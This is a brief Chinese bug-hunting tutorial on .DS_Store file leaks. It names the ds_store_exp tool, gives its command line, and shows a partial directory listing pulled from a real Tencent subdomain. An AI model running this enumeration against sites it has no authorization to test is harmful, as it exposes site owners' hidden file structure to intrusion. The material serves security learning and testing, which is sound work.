【漏洞挖掘】——67、DS_Store文件泄露

漏洞简介

DS_Store是MAC电脑系统中的隐藏文件，用于存储文件夹的自定义属性和元数据，如果DS_Store文件被泄露，黑客可以轻易地获取到文件夹的元数据和属性信息，例如:文件名、文件夹布局、文件夹大小等

利用工具

项目地址：​​​​​​https://github.com/lijiejie/ds_store_exp

使用方法：

python ds_store_exp.py http://www.example.com/.DS_Store

使用示例：

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │